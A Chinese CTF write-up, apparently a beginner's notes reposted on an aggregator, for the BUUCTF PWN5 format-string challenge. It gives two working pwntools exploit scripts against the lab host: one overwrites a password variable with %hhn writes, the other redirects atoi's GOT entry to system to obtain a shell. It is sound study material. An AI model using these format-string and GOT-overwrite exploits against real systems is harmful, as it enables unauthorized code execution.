BUUCTF [第五空间2019 决赛]PWN5

news2025/1/21 20:19:02

小白垃圾做题笔记而已,不建议阅读。

简书上的大佬有三种解题思路,而我刚开始一种也不会,看了题解后才勉强有了两种。

1.第一种算绕过if吧。

更改dword_804C044中的内容,第二次输出相同的内容,从而绕过if

脚本如下:

# -*- coding: utf-8 -*-
from pwn import *
debug=0
if debug:
    p=process("./pwn")
    #p=process('',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    pause()
#    gdb.attach(p)
else:
    p=remote('node4.buuoj.cn',27519)
def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)
payload=p32(0x0804C044)+p32(0x0804C044+1)+p32(0x0804C044+2)+p32(0x0804C044+3)
payload+='%10$hhn%11$hhn%12$hhn%13$hhn'    #hhn是一个字节一个字节更改内容,为什么是四个呢?因为代码中是向dword_804C044中读入了四个字节   read(fd, &dword_804C044, 4u);
ru('name:')
se(payload)
ru('passwd:')
se(str(0x10101010)) #str函数的意思是将整数转换成字符串。因为printf()是将字符串直接复制打印的。如果直接send数字不行。
p.interactive()
 

2.方法二是通过格式化字符串漏洞更改got表地址

改后:

 atoi函数的got表中存放的地址为sysem函数的plt表表地址。这样执行atoi函数的时候过程我猜是这样的:

先去atoi的plt表,然后plt表对应的got地址被我们改成system的plt表的地址了。system是第一次被执行,他首先去system的plt表,这个时候对应的got表里存放的是system的下一跳地址,他会去寻找system的地址,并且执行system。

所以程序本来想执行atoi的但是却被我们劫持为system了。而第二次输入的时候,输入的是nptr,而nptr又正好是atoi的参数,那么被我们劫持后看似执行atoi,实际执行的是system,参数也是system的参数,这个时候我们输入/bin/sh\00

就会攻击成功。

pwntools中本来是有脚本来获取got表地址的,但是可能是版本原因。没有办法,恰好这道题中又system地址,我直接将atoi的got表的地址换成system地址了。

fmtstr_payload是一个很不错的函数,他的第一个参数是偏移,就是我们输入的地址在栈中对应的偏移,对于{}里的内容第一个是要改的地址,操作及结果就是改这个地址中的内容。而第三个参数是将地址中的内容改为啥。我这里由于版本问题直接写了ida中system的地址。

from pwn import *
#p=process('./pwn')
p=remote('node4.buuoj.cn',25259)

elf=ELF('./pwn')
pause()
atoi_got=elf.got['atoi']
#print(elf.symbols['system'])
system_plt=elf.symbols['system']
#system_plt=elf.plt["system"]
#printf_got=elf.got['printf']
payload=fmtstr_payload(10,{atoi_got:0x0804932F})
p.recvuntil('name:')
p.sendline(payload)
#p.recvuntil('d:')
#p.sendline('/bin/sh\x00')

p.interactive()

#AAAA%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

~                                                                                                                                                                                                           
~                                                                                                                                                                                                           
~                                                                                                                                                                                                           
~                                                                                                                                                                                                           
~                  

got和plt

 

而plt表的下一跳就是got表,由于版本原因,并没有将atoi  got表的地址改为system的got表,但是也是可以执行system的,因为我直接将他改为system在ida中的地址了。他会跳转到第一次执行system的位置。 

更改前:

更改后:

发现是把got表对那个的内容给改掉了。改成后边的数据了。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/468894.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux-安装gcc和g++报错降级的解决方法

一、简介 通过sudo apt-get install gcc指令安装g报错。 下列软件包有未满足的依赖关系:gcc : 依赖: gcc-7 (> 7.3.0-12~) 但是它将不会被安装推荐: libc6-dev 但是它将不会被安装 或libc-dev又按照网上的解决办法 ,还是报错。 apt-get update apt-g…

ESET NOD32 互联网安全软件和防毒软件 -简单,可靠的防护。

安全防范病毒和间谍软件,银行和网上购物更安全, 网络摄像头和家用路由器使用更安全,阻止黑客访问您的电脑, 让您的孩子网络安全;产品兑换码仅支持中国ip地址兑换,兑换后可全球通用。 简单,可靠的防护 防范黑客&#x…

【C++11】新的类功能、可变参数模板

C11——新的类功能、可变参数模板 文章目录 C11——新的类功能、可变参数模板一、新的类功能1.测试代码2.默认成员函数3.类成员变量初始化4.强制生成默认函数的关键字default5.禁止生成默认函数的关键字delete6.继承和多态中的final与override关键字 二、可变参数模板1.可变参数…

第64章 树型结构数据的前端渲染渲染显示示例

1 \src\views\TreeTestView.vue <template> <div class"wrap"> <!--注意&#xff1a;1、“回到顶部”组件及其回滚内容都必须包含到同1个div容器中。--> <!-- 2、div容器中必须有1个唯1性的样式类&#xff08;例如&#xff1a;wrap&#xff09…

【Kubenetes进阶】Helm3保姆级安装与Chart使用

之前在Centos 7_64位上实现了用kubespray-2.15.0完成kubenetes的部署&#xff0c;对于kubenetes&#xff0c;Helm无疑是一个良好的命令行下的客户端工具。Helm主要用于 Kubernetes 应用程序 Chart 的创建、打包、发布以及创建和管理本地和远程的 Chart 仓库。 需要对helm加深了…

安全狗云安全资源池为运营商行业云降本增效

随着政府大力促进数字化转型&#xff0c;网络安全作为数字化建设的安全基石&#xff0c;已然成为保障数字化过程中稳定运行的重要因素。 一 严峻挑战下用户亟需安全托管专业服务 1) 云计算虚拟化的存储、部署及运作模式&#xff0c;数据所有权与管理权分离等特点&#xff0c…

【iOS】—— KVO再学习

KVO 文章目录 KVOKVO概念KVO使用步骤注册KVO监听KVO监听实现移除KVO监听 KVO基本用法KVO传值禁止KVO的方法使用注意事项 KVO原理GSKVOInfoGSKVOPathInfoGSKVOObservation为什么要重写class方法呢&#xff1f; GSKVOReplacementGSKVOBaseGSKVOBase小结 源码实现移除观察者总结 K…

unity Shader实现半透明阴影

在shader中&#xff0c;要对移动端的兼容&#xff0c;还不想实现两套分开兼容的话&#xff0c; #pragma exclude_renderers gles gles3 glcore #pragma target 4.5这两句话一定要改掉&#xff0c;第一行代码直接剔除了gles的渲染&#xff0c;而恰恰大部分移动端都是用的gles&a…

第十七章 访问者模式

文章目录 前言一、访问者模式基本介绍二、访问者模式应用实例完整代码评测抽象类 Action成功评价 Success失败评价评价人抽象类男性女性数据结构&#xff0c;管理很多人评价Clint 测试添加 wait 选票clint 测试 三、访问者模式的注意事项和细节 前言 一、访问者模式基本介绍 二…

Vue2 脚手架下载及配置淘宝镜像--和ieda的配置和打开

目录 Vue2 脚手架下载及配置淘宝镜像 为什么需要 Vue Cli 脚手架? 环境配置&#xff0c;搭建项目 1. 搭建 Vue2 脚手架工程&#xff0c; 2.查看 3.冲突 4. 下载 5. 安装 6. 验证 7. 先删除以前的 cli 版本<不论是之前未下载或没有下载> 8. 安装淘宝镜像-cnpm…

20230427配置cv1826的buildroot在串口免登录的方法二

20230427配置cv1826的buildroot在串口免登录的方法二 2023/4/27 16:46 进度&#xff1a;可以拿掉密码&#xff0c;但是无法拿掉用户名&#xff01; 1、 Z:\buildroot1\buildroot\configs\cvitek_cv182x_defconfig BR2_TOOLCHAIN_EXTERNAL_GCC_6y BR2_TOOL…

编译一个魔兽世界开源服务端Windows需要安装什么环境

编译一个魔兽世界开源服务端Windows需要安装什么环境 大家好我是艾西&#xff0c;去年十月份左右wy和bx发布了在停服的公告。当时不少小伙伴都在担心如果停服了怎么办&#xff0c;魔兽这游戏伴随着我们渡过了太多的时光。但已经发生的事情我们只能顺其自然的等待GF的消息就好了…

Selenium基础篇之键盘操作(一)

文章目录 前言一、常用方法(上)二、小剧场2.1场景2.2代码2.2.1引入库2.2.2启动浏览器实例2.2.3访问C站首页2.2.4窗口最大化2.2.5获取输入框元素2.2.6向输入框输入文字2.2.7使用退格键删除最后一个字符2.2.8全选输入框文字2.2.9剪切输入框文字2.2.10粘贴文字到输入框2.2.11回车查…

经验分享 | 科研行业如何搭建RASP防护体系?

多年来&#xff0c;开源网安长期服务金融、政府、科技等大型企业&#xff0c;针对不同实际应用场景&#xff0c;打造出了成熟落地的解决方案&#xff0c;提高并完善了企业安全防护技术与管理体系。今天&#xff0c;我们就来了解开源网安是如何为科研行业搭建RASP防护体系的。 科…

“ ES6+ —— 让你的JavaScript代码从平凡到精彩 “

前期回顾 【提高代码可读性】—— 手握多个代码优化技巧、细数哪些惊艳一时的策略_0.活在风浪里的博客-CSDN博客代码优化对象策略https://blog.csdn.net/m0_57904695/article/details/128318224?csdn_share_tail%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%…

GQCNN

Berkeley AUTOLAB’s GQCNN Package — GQCNN 1.1.0 documentation (berkeleyautomation.github.io) (3条消息) 机器人抓取&#xff08;六&#xff09;—— 抓取点检测&#xff08;抓取位姿估计&#xff09; gqcnn代码测试与解读_zxxRobot的博客-CSDN博客 GQ-CNN模型对生成数据…

C#,OpenCv开发指南(02)——OpenCvSharp编程入门与矩阵Mat的基础知识

在 Visual Studio 中很方便搭建与使用 OpenCV 的 C# 的开发环境&#xff0c;几乎不用键盘输入。 使用 C# 开发 OpenCV 可以直接成为工业软件产品&#xff0c;而不是实验室程序。世界上几乎所有的视频厂家都提供 C# OpenCV 开发接口。 C#&#xff0c;人工智能&#xff0c;深度学…

常见jvm调优操作详细记录

最近很多小伙伴跟我说&#xff0c;自己学了不少JVM的调优知识&#xff0c;但是在实际工作中却不知道何时对JVM进行调优。今天&#xff0c;我就为大家介绍几种JVM调优的场景。 cpu占用过高 cpu占用过高要分情况讨论&#xff0c;是不是业务上在搞活动&#xff0c;突然有大批的流…

SpringBoot整合ELK做日志(超完整)

SpringBoot整合ELK日志系统 SpringBoot整合ELK做日志环境准备安装包准备ELK安装包Java11安装包 软件安装安装java11安装ElasticSearch安装Kibana安装Logstash 编写SpringBoot项目初始化SpringBoot项目修改代码编写Controller SpringBoot整合ELK做日志 环境准备 提前准备一台C…

SpringBoot+Linux操作系统与项目部署(这一篇就够了|超详细)

&#x1f648;作者简介&#xff1a;练习时长两年半的Java up主 &#x1f649;个人主页&#xff1a;程序员老茶 &#x1f64a; ps:点赞&#x1f44d;是免费的&#xff0c;却可以让写博客的作者开兴好久好久&#x1f60e; &#x1f4da;系列专栏&#xff1a;Java全栈&#xff0c;…